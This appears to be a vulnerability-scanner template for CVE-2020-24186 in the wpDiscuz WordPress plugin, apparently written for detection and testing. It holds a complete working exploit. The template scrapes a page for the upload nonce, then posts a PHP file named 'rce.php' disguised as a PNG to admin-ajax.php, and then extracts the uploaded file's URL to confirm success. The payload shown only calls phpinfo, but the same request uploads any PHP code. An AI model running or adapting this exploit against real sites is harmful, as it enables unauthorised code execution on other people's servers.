id: CVE-2020-24186

info:
  name: Unauthenticated File upload wpDiscuz WordPress plugin RCE
  author: Ganofins
  severity: critical
  description: WordPress wpDiscuz plugin version 7.0.4. This flaw gave unauthenticated attackers the ability to upload arbitrary files, including PHP files, and achieve remote code execution on a vulnerable site’s server.
  reference: https://github.com/suncsr/wpDiscuz_unauthenticated_arbitrary_file_upload/blob/main/README.md
  tags: cve,cve2020,wordpress,wp-plugin,rce

requests:
  - raw:
      - |
        GET /?p=1 HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Connection: close

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 745
        Accept: */*
        X-Requested-With: XMLHttpRequest
        sec-ch-ua-mobile: ?0
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary88AhjLimsDMHU1Ak
        Origin: {{BaseURL}}
        Sec-Fetch-Site: same-origin
        Sec-Fetch-Mode: cors
        Sec-Fetch-Dest: empty
        Referer: {{BaseURL}}
        Accept-Encoding: gzip, deflate
        Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
        Connection: close

        ------WebKitFormBoundary88AhjLimsDMHU1Ak
        Content-Disposition: form-data; name="action"

        wmuUploadFiles
        ------WebKitFormBoundary88AhjLimsDMHU1Ak
        Content-Disposition: form-data; name="wmu_nonce"

        {{wmuSecurity}}
        ------WebKitFormBoundary88AhjLimsDMHU1Ak
        Content-Disposition: form-data; name="wmuAttachmentsData"

        undefined
        ------WebKitFormBoundary88AhjLimsDMHU1Ak
        Content-Disposition: form-data; name="wmu_files[0]"; filename="rce.php"
        Content-Type: image/png

        {{base64_decode('/9j/4WpFeGlmTU0q/f39af39Pv39/f39/f39/f2o/f39/cD9/f39/f39/f39/f/g/UpGSUb9/f39/9tD/f0M/QwK/f0=')}}
        <?php phpinfo();?>
        ------WebKitFormBoundary88AhjLimsDMHU1Ak
        Content-Disposition: form-data; name="postId"

        1
        ------WebKitFormBoundary88AhjLimsDMHU1Ak--

    extractors:
      - type: regex
        part: body
        internal: true
        name: wmuSecurity
        group: 1
        regex:
          - 'wmuSecurity":"([a-z0-9]+)'

      - type: regex
        part: body
        group: 1
        regex:
          - '"url":"([a-z:\\/0-9-.]+)"'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - 'success":true'
          - 'fullname'
          - 'shortname'
          - 'url'
        condition: and
        part: body